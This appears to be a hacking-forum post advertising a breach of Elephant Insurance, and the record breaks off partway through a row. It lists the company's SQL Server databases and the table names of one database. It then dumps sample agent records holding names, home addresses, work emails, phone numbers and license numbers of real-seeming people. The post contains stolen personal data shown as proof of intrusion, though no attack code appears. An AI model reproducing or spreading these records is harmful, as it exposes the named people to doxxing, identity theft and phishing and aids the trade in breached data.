• XSS.stack #1 – первый литературный журнал от юзеров форума

TXT Elephant Insurance

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
376
Реакции
413


Код:
{'name': 'master', 'database_id': 1, 'create_date': datetime.datetime(2003, 4, 8, 9, 13, 36, 390000)}
{'name': 'tempdb', 'database_id': 2, 'create_date': datetime.datetime(2022, 3, 20, 0, 12, 55, 780000)}
{'name': 'model', 'database_id': 3, 'create_date': datetime.datetime(2003, 4, 8, 9, 13, 36, 390000)}
{'name': 'msdb', 'database_id': 4, 'create_date': datetime.datetime(2016, 4, 30, 0, 46, 38, 773000)}
{'name': 'VINISO', 'database_id': 5, 'create_date': datetime.datetime(2020, 1, 2, 17, 3, 4, 450000)}
{'name': 'UserAuth', 'database_id': 6, 'create_date': datetime.datetime(2020, 1, 2, 17, 5, 33, 880000)}
{'name': 'Services', 'database_id': 7, 'create_date': datetime.datetime(2020, 1, 2, 17, 9, 47, 570000)}
{'name': 'ServiceManagement', 'database_id': 8, 'create_date': datetime.datetime(2020, 1, 2, 17, 10, 50, 940000)}
{'name': 'ClaimsServices', 'database_id': 9, 'create_date': datetime.datetime(2020, 1, 2, 17, 12, 46, 293000)}
{'name': 'QuoteIntent', 'database_id': 10, 'create_date': datetime.datetime(2020, 1, 2, 17, 20, 59, 557000)}
{'name': 'ElephantDomain', 'database_id': 11, 'create_date': datetime.datetime(2020, 1, 2, 17, 24, 52, 90000)}
{'name': 'DBA', 'database_id': 12, 'create_date': datetime.datetime(2020, 1, 14, 16, 49, 13, 173000)}
{'name': 'RateCall', 'database_id': 13, 'create_date': datetime.datetime(2021, 1, 22, 11, 52, 2, 853000)}
{'name': 'IPIntegration', 'database_id': 14, 'create_date': datetime.datetime(2021, 1, 22, 15, 7, 20, 270000)}


Services:
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'Events', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'ZIP_COUNTY', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'ZIP_CODE_TYPES', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'Bolt', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'ZIP_CBSA', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'ZIP', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'UNIQUE', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'POSTAL_FACILITY_CODES', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'MSA', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AggregatorRequestQueue', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'DEL_STATS', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'COUNTY_TYPES', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'COUNTY_NAME_TYPES', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'Bolt', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'COUNTY', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'CITY_ABB', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'CENSUS', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'CBSA', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'BuyClick', 'TABLE_NAME': 'Notifications', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'HomesiteDailyReportTable', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'tempHomesiteData_failure', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'tempHomesiteData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'VinIsoRawData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'IsoBodyStyleCode', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'Root.Drivers', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220224', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'IsoMakeCode', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220224_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220224_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220224_4', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220224_5', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'VinIsoError', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220228_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220302', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220302_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'VinMaster_Audit', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220303', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'VinMaster', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220303_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220303_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'AuditLog', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220304', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220308', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220308_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220309', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220310', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220311', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'LeadCloud', 'TABLE_NAME': 'LeadData_Archived', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': '__RefactorLog', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AggregatorData_Archived', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'EnrollmentData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'QuoteMessageLog_Archive', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'PC_PROD', 'TABLE_NAME': 'pctl_legalplanproductnameext', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'Enrollments_Rollback', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'EnrollmentExceptions', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'PC_PROD', 'TABLE_NAME': 'pctl_legalplanstatusext', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'PC_PROD', 'TABLE_NAME': 'pc_Account', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220314', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'Enrollments', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220314_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220315', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'PlanData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'VinIso', 'TABLE_NAME': 'VinMaster_Stage', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220315_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'PlanTypes', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220315_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220317', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220317_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'Plans', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220317_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220321', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220321_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220323', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'EnrollmentStatuses', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220323_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220323_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_3', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_4', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_5', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_6', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220324_7', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220328', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'PlanStatuses', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220328_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'Agency', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220329', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentTerminationLogs', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList_20220329_2', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'MoveLeadData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'QuoteMessageLog', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'LeadCloud', 'TABLE_NAME': 'LeadCloudAuditLog', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'LeadCloud', 'TABLE_NAME': 'LeadData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentListStaging', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AggregatorData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Ancillary', 'TABLE_NAME': 'UnprocessedData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'Partners', 'TABLE_NAME': 'AgentList', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'tmpVINResearch', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'dbo', 'TABLE_NAME': 'tmpVINResearchApiData', 'TABLE_TYPE': 'BASE TABLE'}
{'TABLE_CATALOG': 'Services', 'TABLE_SCHEMA': 'GeoCoding', 'TABLE_NAME': 'PostalCodes', 'TABLE_TYPE': 'BASE TABLE'}

Data:
{'ID': 3726, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'aalcala@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Alcala",\r\n    "FirstName":  "Aaron",\r\n    "Address":  {\r\n                    "AddressLine1":  "1500 E Riverside Dr. Apt 103",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78741",\r\n                    "City":  "Austin"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1801 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 200",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "aalcala@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-4989",\r\n    "OfficeNumber":  "888-444-4989",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4989",\r\n    "AgentId":  "aalcala@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2071002",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4989"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}
{'ID': 3732, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'acastillo@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Castillo",\r\n    "FirstName":  "Annalisa",\r\n    "Address":  {\r\n                    "AddressLine1":  "2830 FM 690",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78611",\r\n                    "City":  "Burnet"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1801 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 200",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "acastillo@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-4989",\r\n    "OfficeNumber":  "888-444-4989",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4989",\r\n    "AgentId":  "acastillo@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "1914161",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4989"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}
{'ID': 4244, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'aescobar@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Escobar",\r\n    "FirstName":  "Anita",\r\n    "Address":  {\r\n                    "AddressLine1":  "",\r\n                    "State":  "",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "",\r\n                    "City":  ""\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1804 E. 6th Street Ste. 200",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "aescobar@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-8952",\r\n    "OfficeNumber":  "888-444-8952",\r\n    "SupervisorEmailAddress":  "",\r\n    "SBUContactEmailAddress":  "",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-8952",\r\n    "AgentId":  "aescobar@thezebra.com",\r\n    "VendorName":  "zebra",\r\n    "NPN":  "19159512",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2403178",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  "",\r\n    "AgencyID":  "ZE00000001"\r\n}', 'DateAdded': datetime.datetime(2021, 6, 4, 0, 0), 'DateUpdated': datetime.datetime(2021, 6, 4, 14, 13, 20, 820000), 'AgencyID': 1, 'UserName': None}
{'ID': 3749, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'agarcia@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Garcia",\r\n    "FirstName":  "Angel",\r\n    "Address":  {\r\n                    "AddressLine1":  "6263 McNeil Dr #632",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78729",\r\n                    "City":  "Austin"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1802 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 201",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "agarcia@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-4990",\r\n    "OfficeNumber":  "888-444-4990",\r\n    "SupervisorEmailAddress":  "nfleming@thezebra.com",\r\n    "SBUContactEmailAddress":  "licensing@thezebra.com",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-4990",\r\n    "AgentId":  "agarcia@thezebra.com",\r\n    "NPN":  "",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2401906",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "DateOfHire":  "",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  ""\r\n,"AgencyID":"ZE00000001","Vendor":"zebra","VendorName":"zebra","OfficeTollFreeNumber":"888-444-4990"}', 'DateAdded': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'DateUpdated': datetime.datetime(2020, 10, 12, 17, 3, 47, 410000), 'AgencyID': 1, 'UserName': None}
{'ID': 4242, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'agonzalez@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Gonzalez",\r\n    "FirstName":  "Abraham",\r\n    "Address":  {\r\n                    "AddressLine1":  "",\r\n                    "State":  "",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "",\r\n                    "City":  ""\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1802 E. 6th Street Ste. 200",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "agonzalez@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-8950",\r\n    "OfficeNumber":  "888-444-8950",\r\n    "SupervisorEmailAddress":  "",\r\n    "SBUContactEmailAddress":  "",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-8950",\r\n    "AgentId":  "agonzalez@thezebra.com",\r\n    "VendorName":  "zebra",\r\n    "NPN":  "19742370",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2609271",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  "",\r\n    "AgencyID":  "ZE00000001"\r\n}', 'DateAdded': datetime.datetime(2021, 6, 4, 0, 0), 'DateUpdated': datetime.datetime(2021, 6, 4, 14, 13, 20, 820000), 'AgencyID': 1, 'UserName': None}
{'ID': 4248, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'alemuel@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Lemuel",\r\n    "FirstName":  "Ashley",\r\n    "Address":  {\r\n                    "AddressLine1":  "",\r\n                    "State":  "",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "",\r\n                    "City":  ""\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1808 E. 6th Street Ste. 200",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "alemuel@thezebra.com",\r\n    "BusinessDDNNumber":  "888-444-8956",\r\n    "OfficeNumber":  "888-444-8956",\r\n    "SupervisorEmailAddress":  "",\r\n    "SBUContactEmailAddress":  "",\r\n    "DepartmentNumber":  "",\r\n    "OfficeTollFree":  "888-444-8956",\r\n    "AgentId":  "alemuel@thezebra.com",\r\n    "VendorName":  "zebra",\r\n    "NPN":  "19921198",\r\n    "LicenseState":  "TX",\r\n    "LicenseNumber":  "2673405",\r\n    "IndividualStatus":  "Active",\r\n    "LicenseStatus":  "Active",\r\n    "LOAStatus":  "Active",\r\n    "AssocStartDate":  "",\r\n    "AssocEndDate":  "",\r\n    "AssocFirmFEIN":  "",\r\n    "AgencyID":  "ZE00000001"\r\n}', 'DateAdded': datetime.datetime(2021, 6, 4, 0, 0), 'DateUpdated': datetime.datetime(2021, 6, 4, 14, 13, 20, 820000), 'AgencyID': 1, 'UserName': None}
{'ID': 3769, 'Brand': 'elephant', 'AccountDomain': 'direct', 'VendorAgentID': 'alex.rojas@thezebra.com', 'IsActive': True, 'JSONData': '{\r\n    "LastName":  "Rojas",\r\n    "FirstName":  "Alejandro",\r\n    "Address":  {\r\n                    "AddressLine1":  "1700 anise dr",\r\n                    "State":  "TX",\r\n                    "AddressLine2":  "",\r\n                    "ZipCode":  "78741",\r\n                    "City":  "Austin"\r\n                },\r\n    "OfficialAddress":  {\r\n                            "AddressLine1":  "1801 E. 6th Street",\r\n                            "State":  "TX",\r\n                            "AddressLine2":  "Suite 200",\r\n                            "ZipCode":  "78702",\r\n                            "City":  "Austin"\r\n                        },\r\n    "BusinessEmailAddress":  "alex.rojas@thezebra.com",\r\n    